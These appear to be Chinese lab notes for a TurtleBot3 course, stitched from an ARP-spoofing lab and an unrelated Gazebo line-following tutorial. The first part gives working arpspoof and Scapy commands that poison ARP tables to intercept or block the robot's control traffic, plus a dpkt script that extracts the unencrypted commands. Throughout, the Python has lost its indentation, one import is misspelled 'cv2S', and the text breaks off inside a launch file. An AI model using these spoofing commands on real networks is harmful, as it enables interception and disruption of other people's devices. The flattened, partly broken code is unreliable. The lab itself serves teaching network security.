######基本欺骗流程######
# 双开
sudo wireshark

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo arpspoof -t 192.168.1.1 192.168.1.106
# 意思: 发送 [ARP] 192.168.1.106 is at 00-0C-29-AE-75-24

# 目标(192.168.1.106 and 00-0C-29-1E-CF-38):
ping 192.168.1.102(其他)
# 其他(192.168.1.102):
arp -a
# 意思:查看arp列表
# 期望:目标IP->攻击MAC
# 结果:目标IP->真机MAC

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo arpspoof -t 192.168.1.106 192.168.1.1
# 意思:发送 [ARP] 192.168.1.1 is at 00-0C-29-AE-75-24

# 攻击(192.168.1.108 and 00-0C-29-AE-75-24):
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

######骗小车控制报文######
# 目标主机和攻击机同时打开wireshark监听报文:
sudo wireshark

# 攻击机:
sudo arpspoof -t 192.168.1.102 192.168.1.106 #向小车发送192.168.1.106 is at 00-0C-29-AE-75-24
sudo arpspoof -t 192.168.1.106 192.168.1.102 #向目标发送192.168.1.102 is at 00-0C-29-AE-75-24
sudo -i #切换root用户
echo 1 > /proc/sys/net/ipv4/ip_forward #开启IP转发

# 目标主机:
roscore #网络配置以及远程连接一系列问题参考之前的实验
#ssh连接、roscore、roslaunch……
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch #打开键盘控制
# 按w前进,小车前进不受影响;

# 接着攻击机运行下列指令:
sudo -i #切换root用户
echo 0 > /proc/sys/net/ipv4/ip_forward #关闭IP转发
# 目标主机再次按w前进,小车无法前进,没有反应。

# 再开启IP转发,攻击机上打开wireshark抓包,在目标机按w前进。
# 小车移动后,令攻击机停止抓包。
# 分析哪个报文是键盘控制移动报文

######scapy伪造arp报文######
# 攻击:
sudo scapy #运行scapy
pkt=ARP() #用ARP()方法构造ARP报文
pkt.show() #显示报文内容
pkt.psrc=‘192.168.1.1’ #修改报文源地址
pkt.pdst=‘192.168.1.105’ #修改报文目的地址
pkt.op=‘is-at‘ #修改报文类型
sr1(pkt) #发送报文
# 目标:
arp -a

# 攻击:
sudo scapy #运行scapy
pkt=Ether()/ARP()
pkt.show()
pkt.psrc='192.168.1.1'
pkt.pdst='192.168.1.105'
pkt[Ether].dst='ff:ff:ff:ff:ff:ff'
pkt.show()
srp1(pkt)
# 目标:
arp -a

######dpkt分析tcp报文######
#!/usr/bin/python3
#coding=utf-8
import dpkt
import collections #有序字典需要的模块
import time
import socket
file_path='/home/shen/carMove_2.pcap'
burger_dst='192.168.1.102'
pkt_len=52
def main():
f = open(file_path,'rb')
#先按.pcap格式解析,若解析不了,则按pcapng格式解析
try:
pcap = dpkt.pcap.Reader(f)
except:
pcap = dpkt.pcapng.Reader(f) #解析pcapng会失败,建议使用scapy库的rdpcap去解析

#当前变量pcap中是按照“间戳:单包”的格式存储着各个单包
#将时间戳和包数据分开,一层一层解析,其中ts是时间戳,buf存放对应的包
for (ts,buf) in pcap:
try:
eth = dpkt.ethernet.Ethernet(buf) #解包,物理层
if not isinstance(eth.data, dpkt.ip.IP): #解包,网络层,判断网络层是否存在,如果不存在则丢弃
continue
ip = eth.data
#将网络地址转换成“.”点隔的字符串格式
src = socket.inet_ntoa(ip.src)
dst = socket.inet_ntoa(ip.dst)
#解包,判断目的地址是否是小车地址burger_dst,传输层协议是否是TCP,如果不是则丢弃
if not (dst==burger_dst and isinstance(ip.data, dpkt.tcp.TCP)):
continue
tcp = ip.data #传输层负载数据,基本上分析流量的人都是分析这部分数据,即应用层负载流量
#如果应用层负载长度为0,即该包为单纯的tcp包,没有负载,则丢弃
if not len(tcp.data):
continue
#验证结果,打印保存的数据包的抓包以及对应的包的应用层负载长度
print("Length:%d"%len(tcp.data)) #将时间戳转换成日期
#print("Data%s"%tcp.data)#打印传输层负载数据,因为小车数据传输过程中没有加密,所以可以直接打印
except Exception as err:
print("[error] %s" % err)
f.close()
main()

# 将过滤条件if not len(tcp.data)改成if not len(tcp.data)==pkt_len,并将#print("Data:%s"%tcp.data)的注释删去,打印传输层负载数据

# 添加时间戳的输出,并增加python2版本的注释

本节内容较多,
请根据左侧目录针对性阅读。

一、准备工作

  1. 这一章我们先用gazebo仿真做,不使用真小车,使用的是Waffle模型

    需要下载的库gazebo-ros、turtlebot3_simulations。

    如果下载过程中显示虚拟机又连不上网了,暂时切换成NAT模式。以后远程连真小车的时候再改回桥接。注意IP地址的变化。

新建工作空间

1
2
3
4
5
6
7
8
9
# 新建工作空间并初始化
mkdir -p ~/catkin_ws/src
cd ~/catkin_ws/src
catkin_init_workspace
cd ~/catkin_ws/
catkin_make
# 添加环境变量
source ~/catkin_ws/devel/setup.bash
source ~/.bashrc

功能包程序下载

1
2
3
4
5
6
7
8
9
10
cd ~/catkin_ws/src/ # 进自己的工作空间的源文件目录
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_simulations.git
git clone https://gitee.com/zthcool/turtlebot3_simulations
# git clone https://github.com/ROBOTIS-GIT/hls_lfcd_lds_driver
git clone https://gitee.com/hhdang/hls_lfcd_lds_driver
# git clone https://github.com/ROBOTIS-GIT/turtlebot3.git
git clone https://gitee.com/zthcool/turtlebot3
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_msgs
git clone https://gitee.com/mieximiemie/turtlebot3_msgs
cd ~/catkin_ws && catkin_make

Gazebo下载安装(如果运行提示缺包漏包也重装一下)

注意版本替换(noetic->自己的版本)。

-y参数是默认yes,以免询问“是否继续下载……”

1
2
sudo apt-get install ros-noetic-gazebo-ros-pkgs ros-noetic-gazebo-ros-control -y
sudo apt-get install ros-noetic-turtlebot3-gazebo -y

测试Gazebo是否安装成功

运行:

1
roslaunch turtlebot3_gazebo turtlebot3_world.launch

成功时显示:

二、测试功能包是否安装成功

1. 测试(如有异常请看2.Gazebo运行异常)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 启动终端A
roslaunch turtlebot3_gazebo turtlebot3_world.launch
# 另起终端B
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch
# 上一条注:键盘控制小车。若gazebo中小车有移动,则说明控制程序正确
# 续注:验证完毕后,结束键盘控制进程(Ctrl+C)
# 在终端B中
roslaunch turtlebot3_gazebo turtlebot3_simulation.launch
# 上一条注:启动仿真模拟。若gazebo中小车自主移动,则说明模拟程序正确
# 续注:若gazebo卡住并在A中显示process has died,重复尝试两次。若仍然失败,考虑gazebo运行异常
# 在终端C中
rostopic list
# 上一条注:将会看到/camera/rgb/camera_info和/camera/rgb/image_raw
# 续注:若没有,则检测.bashrc文件中,模型是否为waffle
# 在终端C中
roslaunch turtlebot3_gazebo turtlebot3_gazebo_rviz.launch
# 上一条注:打开左侧Camera,等待良久后,能看到图二
# 续注:验证完毕后,结束终端B、C的进程(Ctrl+C)

图二

Gazebo运行异常时

gazebo 启动异常以及解决

问题1:RLException: Invalid tag: environment variable ‘TURTLEBOT3_MODEL’ is not set.

在.bashrc中添加一行配置:

1
export TURTLEBOT3_MODEL=waffle

意思是选择仿真的模型,为waffle。

问题2:gazebo黑屏

检查~/.gazebo下的models是否安装完成,如果没有安装完成,运行下面的代码。

1
2
3
4
5
6
7
8
9
10
11
# 预加载Gazebo模型以免过慢。
cd ~/.gazebo/
# 第一种方案(官网下载,速度较慢):
mkdir -p models
cd ~/.gazebo/models/
wget http://file.ncnynl.com/ros/gazebo_models.txt
wget -i gazebo_models.txt
ls model.tar.g* | xargs -n1 tar xzvf
# 第二种方案(下载现成的models):
git clone https://gitee.com/yltzdhbc/gazebo_models
mv gazebo_models models #将下载的文件夹改名为models

问题3:VMware: vmw_ioctl_command error Invalid argument(无效的参数)

解决:

1
2
echo "export SVGA_VGPU10=0" >> ~/.bashrc
source ~/.bashrc

问题4:[Err] [REST.cc:205] Error in REST request

解决:

1
2
3
sudo gedit ~/.ignition/fuel/config.yaml
# 将url : https://api.ignitionfuel.org使用 # 注释掉
# 再添加url: https://api.ignitionrobotics.org

问题5:启动时抛出异常:[gazebo-2] process has died [pid xxx, exit code 255, cmd.....

解决:

1
2
3
killall gzserver
killall gzclient
# 等待一会儿或者重启也行,这个问题仅仅是因为你上一个gazebo没关彻底,残留了点东西,导致新的打不开。

如果还有其他问题再做以下的事情:

参考ROS中使用Gazebo的两个天坑

除了Ubuntu20.04,尽量不要第一时间尝试更新,可能会越解决越糟糕!

1
2
3
4
5
6
7
8
9
# 添加源
sudo sh -c 'echo "deb http://packages.osrfoundation.org/gazebo/ubuntu-stable `lsb_release -cs` main" > /etc/apt/sources.list.d/gazebo-stable.list'
wget https://packages.osrfoundation.org/gazebo.key -O - | sudo apt-key add -
# 安装或更新
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gazebo11
# Ubuntu16.04对应gazebo7,Ubuntu18.04对应gazebo9,下同
sudo apt-get install libgazebo11-dev

三、导入程序并理解作用

直接git clone(也可以手动复制导入)

1
2
3
4
cd ~/catkin_ws/src
git clone https://gitee.com/shandianchengzi/learning_topic.git # 克隆我已经测试过的程序
cd ~/catkin_ws/ && catkin_make
chmod +x ~/catkin_ws/src/learning_topic/scripts/*.py # 将所有的python程序设置为允许执行的文件

理解程序

在你自己的功能包的src下面(比如我的功能包叫catkin_ws/src/learning_topic)

1
2
3
~/catkin_ws/src/learning_topic/scripts/ # 用于存放python脚本
~/catkin_ws/src/learning_topic/launch/ # 用于存放启动程序(.launch文件)
~/catkin_ws/src/learning_topic/worlds/ # 用于存放gazebo仿真模拟的地图模型(.worlds文件)

01follower.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
# 若使用的是python2,将第一行改成python2
# 若使用的是python,将第一行改成python
# 之后的程序同理
import rospy
from sensor_msgs.msg import Image # 从传感器图片的库中导入Image数据类型

def image_callback(msg):
pass

rospy.init_node('follower') # 建立结点follower
image_sub = rospy.Subscriber('camera/rgb/image_raw', Image, image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

运行方式

1
2
chmod +x 01follower.py
rosrun learning_topic 01follower.py

运行结果

结果是生成了一个名叫’follower’的结点,它订阅了’camera/rgb/image_raw’话题。

可用下列指令检验:

1
2
3
rosnode list # 检查是否出现/follower结点
rosnode info /follower # 如果出现了/follower结点,用这个指令查看/follower结点的详细信息
rostopic hz /camera/rgb/image_raw # 不出意外的话,/follower结点订阅的话题是/camera/rgb/image_raw。用这个指令查看话题发布的情况。

检验结果应如下图所示:

02follower_opencv.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#!/usr/bin/env python3
import rospy
from sensor_msgs.msg import Image
import cv2, cv_bridge # 导入opencv模块和协议模块

def image_callback(msg):
image = bridge.imgmsg_to_cv2(msg,desired_encoding="bgr8")
# 将ros_image通过蓝绿红8位色空间转换为OpenCV图像,结果返回给image,类参数bridge转换函数
if(image.all() == None):
print("Can't get your image, please check your code!")
else :
# print(image.size, image.shape) # 输出图像大小以及形状
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL) # 建立名为showImage的窗口 窗口类为 cv2内置的NORMAL窗口
cv2.imshow("showImage",image[:,:,0]) # 在showImage中显示二维图像
cv2.waitKey(3) # waitkey()延时显示图像,在imshow之后,没有waitkey()函数图像将无法显示

rospy.init_node('follower',anonymous = True) # anonymous 同步选项 每公布一条消息就接受一个消息
bridge = cv_bridge.CvBridge() # 创建CvBridge对象
image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

运行结果

能看到一个名字叫做showImage的窗口(不是下图的窗口名)。

名为course的model

~/catkin_ws/src/learning_topic/models/目录下。

  • 这个model可以在turtlebot3_simulations库中找到。

    具体位置是turtlebot3_simulations/turtlebot3_gazebo/models/turtlebot3_autorace/course。

    拷贝到自己的功能包下即可。

  • 若想了解model的自定义机制,可以从model的文件组织,以及如何调用model入手。

    文件组织的逻辑:参考gazebo中给地面添加纹理,写得很清晰。

    文件的调用关系:参考0course.launch、course.world两个文件中的下列部分:

    1
    2
    3
    4
    5
    6
    7
    8
    9
     <!-- 0course.launch中 -->
    <env name="GAZEBO_RESOURCE_PATH" value="$(find learning_topic)/models/turtlebot3_autorace/ground_picture" />

    <!-- course.world中 -->
    <!-- Our ground image -->
    <include>
    <uri>model://turtlebot3_autorace/course</uri>
    <pose> 0 0 0 0 0 -1.54</pose>
    </include>

course.world

~/catkin_ws/src/learning_topic/worlds/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<sdf version="1.4">
<world name="default">

<scene>
<ambient>0.4 0.4 0.4 1</ambient>
<background>0.7 0.7 0.7 1</background>
<shadows>true</shadows>
</scene>

<!-- A global light source -->
<include>
<uri>model://sun</uri>
</include>

<!-- A ground plane -->
<include>
<uri>model://ground_plane</uri>
</include>

<!-- Our ground image -->
<include>
<uri>model://turtlebot3_autorace/course</uri>
<pose> 0 0 0 0 0 -1.54</pose>
</include>

<physics type="ode">
<real_time_update_rate>1000.0</real_time_update_rate>
<max_step_size>0.001</max_step_size>
<real_time_factor>1</real_time_factor>
<ode>
<solver>
<type>quick</type>
<iters>150</iters>
<precon_iters>0</precon_iters>
<sor>1.400000</sor>
<use_dynamic_moi_rescaling>1</use_dynamic_moi_rescaling>
</solver>
<constraints>
<cfm>0.00001</cfm>
<erp>0.2</erp>
<contact_max_correcting_vel>2000.000000</contact_max_correcting_vel>
<contact_surface_layer>0.01000</contact_surface_layer>
</constraints>
</ode>
</physics>
</world>

</sdf>

0course.launch

源代码

这个程序需要根据你自己的功能包名字修改一些地方。

<arg name="world_name" value="$(find turtlebot3_gazebo)/worlds/empty.world"/>改成<arg name="world_name" value="$(find learning_topic)/worlds/course.world"/>。(改成自己的功能包的名字)

~/catkin_ws/src/learning_topic/launch/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<launch>
<!-- $(find learning_topic)/models/turtlebot3_autorace是你的model文件的路径 -->
<env name="GAZEBO_RESOURCE_PATH" value="$(find learning_topic)/models/turtlebot3_autorace/ground_picture" />
<arg name="model" default="$(env TURTLEBOT3_MODEL)" doc="model type [burger, waffle, waffle_pi]"/>
<arg name="x_pos" default="0.0"/>
<arg name="y_pos" default="0.0"/>
<arg name="z_pos" default="0.0"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch">
<!-- $(find learning_topic)/worlds/course.world是你的world文件的路径 -->
<arg name="world_name" value="$(find learning_topic)/worlds/course.world"/>
<arg name="paused" value="false"/>
<arg name="use_sim_time" value="true"/>
<arg name="gui" value="true"/>
<arg name="headless" value="false"/>
<arg name="debug" value="false"/>
</include>

<param name="robot_description" command="$(find xacro)/xacro $(find turtlebot3_description)/urdf/turtlebot3_$(arg model).urdf.xacro" />

<!-- 增设一个状态发布结点robot_state_publisher -->
<node pkg="robot_state_publisher" type="robot_state_publisher" name="robot_state_publisher">
<param name="publish_frequency" type="double" value="30.0" />
</node>

<node pkg="gazebo_ros" type="spawn_model" name="spawn_urdf" args="-urdf -model turtlebot3_$(arg model) -x $(arg x_pos) -y $(arg y_pos) -z $(arg z_pos) -param robot_description" />
</launch>

可以和官方给的turtlebot3_empty_world.launch做对比。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<launch>
<arg name="model" default="$(env TURTLEBOT3_MODEL)" doc="model type [burger, waffle, waffle_pi]"/>
<arg name="x_pos" default="0.0"/>
<arg name="y_pos" default="0.0"/>
<arg name="z_pos" default="0.0"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch">
<arg name="world_name" value="$(find turtlebot3_gazebo)/worlds/empty.world"/>
<arg name="paused" value="false"/>
<arg name="use_sim_time" value="true"/>
<arg name="gui" value="true"/>
<arg name="headless" value="false"/>
<arg name="debug" value="false"/>
</include>

<param name="robot_description" command="$(find xacro)/xacro --inorder $(find turtlebot3_description)/urdf/turtlebot3_$(arg model).urdf.xacro" />

<node pkg="gazebo_ros" type="spawn_model" name="spawn_urdf" args="-urdf -model turtlebot3_$(arg model) -x $(arg x_pos) -y $(arg y_pos) -z $(arg z_pos) -param robot_description" />
</launch>

运行方式

理想的文件夹组织结构:

1
roslaunch learning_topic 0course.launch

运行结果

03follower_color_filter.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image
class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge() #创建CvBridge对象
self.image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
# 函数变量分别为:接受节点 、 接受消息类型、 回调函数
def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg)
if(image.all()!=None):
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
# 进行消息-> rgb -> hsv格式变量 的两步转换
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
# 建立蒙版参量 参量使用指针格式(inRange函数的要求)
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
masked = cv2.bitwise_and(image,image,mask=mask)
# 使用蒙版进行二值化 bitwise
cv2.namedWindow("showYellowOnly",cv2.WINDOW_NORMAL)
cv2.imshow("showYellowOnly",mask) #进行显示
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

运行结果

04follower_line_finder.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2, cv_bridge , numpy
from sensor_msgs.msg import Image

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber(
'/camera/rgb/image_raw',
Image,
self.image_callback )

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,
desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
# 同Exp4-2相同 不多做介绍
h,w,d= image.shape
top = 3*h/4
bot = top + 20
# 在图像的下3/4处进行切片 注意:image纵向向下为x正向 横向向右为y正向
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
M = cv2.moments(mask)
# moments(): Opencv中用于计算图像中心的函数类 参见Opencv官网
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
# 对切片之后的图像计算中心,并标记小圆圈
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)
cv2.namedWindow("findLine",cv2.WINDOW_NORMAL)
cv2.imshow("findLine",mask)
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

运行结果

注意红点和白点,这是小车即将前往的方向。

05follower_proporation.py

源代码

~/catkin_ws/src/learning_topic/scripts/目录下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
# 若使用的是python3,将第一行改成python3
import rospy ,cv2S, cv_bridge , numpy
from sensor_msgs.msg import Image
from geometry_msgs.msg import Twist

class Follower:
def __init__(self):
self.bridge = cv_bridge.CvBridge()
self.image_sub = rospy.Subscriber('/camera/rgb/image_raw',Image,self.image_callback)
self.cmd_vel_pub = rospy.Publisher('cmd_vel',Twist,queue_size =1) # 发布话题使小车运动
self.twist =Twist()

def image_callback(self,msg):
image = self.bridge.imgmsg_to_cv2(msg,desired_encoding='bgr8')
hsv = cv2.cvtColor(image, cv2.COLOR_BGR2HSV)
lower_yellow = numpy.array([20,43,46])
upper_yellow = numpy.array([90,255,255])
mask = cv2.inRange(hsv, lower_yellow, upper_yellow)
h,w,d= image.shape
top = 5*h/6
bot = top + 20
mask[int(0):int(top),:] = 0
mask[int(bot):int(h),:] = 0
#cut the image to a blade
M = cv2.moments(mask)
#class MOMENTS
if M['m00']>0:
cx = int(M['m10']/M['m00'])
cy = int(M['m01']/M['m00'])
cv2.circle(image,(cx,cy),20,(0,0,255),-1)
err = cx-w/2
self.twist.linear.x = 0.15 # 小车的线速度不易设置太快,否则容易脱离跑道
self.twist.angular.z = -float(err)/1000 # 小车运动的角度
self.cmd_vel_pub.publish(self.twist)
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL)
cv2.imshow("showImage",image)
cv2.waitKey(3)

rospy.init_node('follower',anonymous = True)
follower = Follower()
rospy.spin()

运行结果

小车自动沿着黄线前进。(窗口名字应叫做showImage)

order.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
#-#-# 视频开始时,以下准备工作全部就绪 #-#-#
# sudo apt-get install ros-noetic-gazebo-ros-pkgs ros-noetic-gazebo-ros-control
# sudo apt-get install ros-noetic-turtlebot3-gazebo
# sudo apt-get install ros-noetic-image-view

# 预加载Gazebo模型以免过慢。
cd ~/.gazebo/
# 第一种方案(官网下载,速度较慢):
mkdir -p models
cd ~/.gazebo/models/
wget http://file.ncnynl.com/ros/gazebo_models.txt
wget -i gazebo_models.txt
ls model.tar.g* | xargs -n1 tar xzvf
# 第二种方案(下载现成的models):
git clone https://gitee.com/yltzdhbc/gazebo_models
mv gazebo_models models #将下载的文件夹改名为models

cd ~/catkin_ws/src/
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_simulations.git
git clone https://gitee.com/zthcool/turtlebot3_simulations
# git clone https://github.com/ROBOTIS-GIT/hls_lfcd_lds_driver
git clone https://gitee.com/hhdang/hls_lfcd_lds_driver
# git clone https://github.com/ROBOTIS-GIT/turtlebot3.git
git clone https://gitee.com/zthcool/turtlebot3
# git clone https://github.com/ROBOTIS-GIT/turtlebot3_msgs
git clone https://gitee.com/mieximiemie/turtlebot3_msgs
cd ~/catkin_ws && catkin_make
# 上一条注:一定要等catkin_make执行完!!!不然之后找不到包的时候非常难受

# 未遇到问题时不建议更新
# 添加源
sudo sh -c 'echo "deb http://packages.osrfoundation.org/gazebo/ubuntu-stable `lsb_release -cs` main" > /etc/apt/sources.list.d/gazebo-stable.list'
wget https://packages.osrfoundation.org/gazebo.key -O - | sudo apt-key add -
# 安装或更新
sudo apt-get update
sudo apt-get upgrade
sudo apt-get install gazebo11
# Ubuntu16.04对应gazebo7,Ubuntu18.04对应gazebo9,下同
sudo apt-get install libgazebo11-dev

# 将小车模型改成waffle
gedit ~/.bashrc
# 将export TURTLEBOT3_MODEL=burger改成export TURTLEBOT3_MODEL=waffle
source ~/.bashrc

#-#-# 视频开始时,以上准备工作全部就绪 #-#-#



#-#-# 测试环境是否正确 #-#-#

# 启动终端A
roslaunch turtlebot3_gazebo turtlebot3_world.launch
# 上一条注:若gazebo正确,应该是能看到下图(见图一)
# 另起终端B
roslaunch turtlebot3_teleop turtlebot3_teleop_key.launch
# 上一条注:键盘控制小车。若gazebo中小车有移动,则说明控制程序正确
# 续注:验证完毕后,结束键盘控制进程(Ctrl+C)
# 在终端B中
roslaunch turtlebot3_gazebo turtlebot3_simulation.launch
# 上一条注:启动仿真模拟。若gazebo中小车自主移动,则说明模拟程序正确
# 续注:若gazebo卡住并在A中显示process has died,重复尝试两次。若仍然失败,考虑gazebo运行异常
# 在终端C中
rostopic list
# 上一条注:将会看到/camera/rgb/camera_info和/camera/rgb/image_raw
# 续注:若没有,则检测.bashrc文件中,模型是否为waffle
# 在终端C中
roslaunch turtlebot3_gazebo turtlebot3_gazebo_rviz.launch
# 上一条注:打开左侧Camera,如果等待良久后,能看到图像,说明你的仿真非常对
# 续注:验证完毕后,结束终端B、C的进程(Ctrl+C)

#-#-# 测试结束 #-#-#



#-#-# 测试的过程中我要演示一个卡了我一下午的坑 #-#-#

# 注意,出现模型压根加载不了的时候,终端不一定会提示VMware: vmw_ioctl_command error Invalid argument(无效的参数)
# 但是有幸等到进程自然结束的时候,就会出现这一行报错。并且还会提示剩余空间不足。
# 如果有兴趣可以自己去等一会儿试试,这里我不浪费时间了。
# 解决方式:
echo "export SVGA_VGPU10=0" >> ~/.bashrc
source ~/.bashrc

# 更多问题请参考《ROS|⑥Turtlebot3仿真Waffle循线跟踪》
# https://shandianchengzi.gitee.io/2021/04/04/ROS%E5%BE%AA%E7%BA%BF%E8%B7%9F%E8%B8%AA/

#-#-# 演示结束 #-#-#




#-#-# 正式开始循线跟踪 #-#-#

# 注:在windows下编辑文件,并直接拖动到linux虚拟机运行,可能会报错说/r不存在。
# 因为windows和linux的换行是不一样的,所以最好在linux中复制粘贴程序,或者直接拷贝我的程序包。
# 拷贝操作如下:
cd ~/catkin_ws/src
git clone https://gitee.com/shandianchengzi/learning_topic.git # 克隆我已经测试过的程序
cd ~/catkin_ws/ && catkin_make
chmod +x ~/catkin_ws/src/learning_topic/scripts/*.py # 将所有的python程序设置为允许执行的文件

# 下面所有的程序都放在learning_topic功能包下,
# 如果你们的在别的功能包,就把learning_topic改成自己的功能包的名字

---------------01follower.py Beg----------------

#!/usr/bin/env python3
# 若使用的是python2,将第一行改成python2
# 若使用的是python,将第一行改成python
# 之后的程序同理
import rospy
from sensor_msgs.msg import Image # 从传感器图片的库中导入Image数据类型

def image_callback(msg):
pass

rospy.init_node('follower') # 建立结点follower
image_sub = rospy.Subscriber('camera/rgb/image_raw', Image, image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

---------------01follower.py End----------------

rosrun learning_topic 01follower.py # 运行learning_topic功能包中的01follower.py
rosnode list # 如果出现了/follower,恭喜你!!!
rosnode info /follower
rostopic hz /camera/rgb/image_raw # 能看到图片信息的反馈
# 终止01follower

---------------02follower_opencv.py Beg----------------

#!/usr/bin/env python3
import rospy
from sensor_msgs.msg import Image
import cv2, cv_bridge # 导入opencv模块和协议模块

def image_callback(msg):
image = bridge.imgmsg_to_cv2(msg,desired_encoding="bgr8")
# 将ros_image通过蓝绿红8位色空间转换为OpenCV图像,结果返回给image,类参数bridge转换函数
if(image.all() == None):
print("Can't get your image, please check your code!")
else :
# print(image.size, image.shape) # 输出图像大小以及形状
cv2.namedWindow("showImage",cv2.WINDOW_NORMAL) # 建立名为showImage的窗口 窗口类为 cv2内置的NORMAL窗口
cv2.imshow("showImage",image[:,:,0]) # 在showImage中显示二维图像
cv2.waitKey(3) # waitkey()延时显示图像,在imshow之后,没有waitkey()函数图像将无法显示

rospy.init_node('follower',anonymous = True) # anonymous 同步选项 每公布一条消息就接受一个消息
bridge = cv_bridge.CvBridge() # 创建CvBridge对象
image_sub=rospy.Subscriber('/camera/rgb/image_raw',Image,image_callback)
# 以上括号内分别是 接受的topic名称, 数据类型, 触发的回调函数
rospy.spin()

---------------02follower_opencv.py End----------------

roslaunch turtlebot3_gazebo turtlebot3_simulation.launch # 启动仿真模拟
rosrun learning_topic 02follower_opencv.py
# 可以看到showImage窗口,并看到图像在动

# 终止所有终端的进程
# 将turtlebot3_simulation/turtlebot3_gazebo/models全部拷贝到自己的功能包的models文件夹下
cp ~/catkin_ws/src/turtlebot3_simulation/turtlebot3_gazebo/models/* ~/catkin_ws/src/learning_topic/models/

---------------0course.launch Beg----------------

<launch>
<env name="GAZEBO_RESOURCE_PATH" value="$(find learning_topic)/models/turtlebot3_autorace/ground_picture" />
<arg name="model" default="$(env TURTLEBOT3_MODEL)" doc="model type [burger, waffle, waffle_pi]"/>
<arg name="x_pos" default="0.0"/>
<arg name="y_pos" default="0.0"/>
<arg name="z_pos" default="0.0"/>

<include file="$(find gazebo_ros)/launch/empty_world.launch">
<arg name="world_name" value="$(find learning_topic)/worlds/course.world"/>
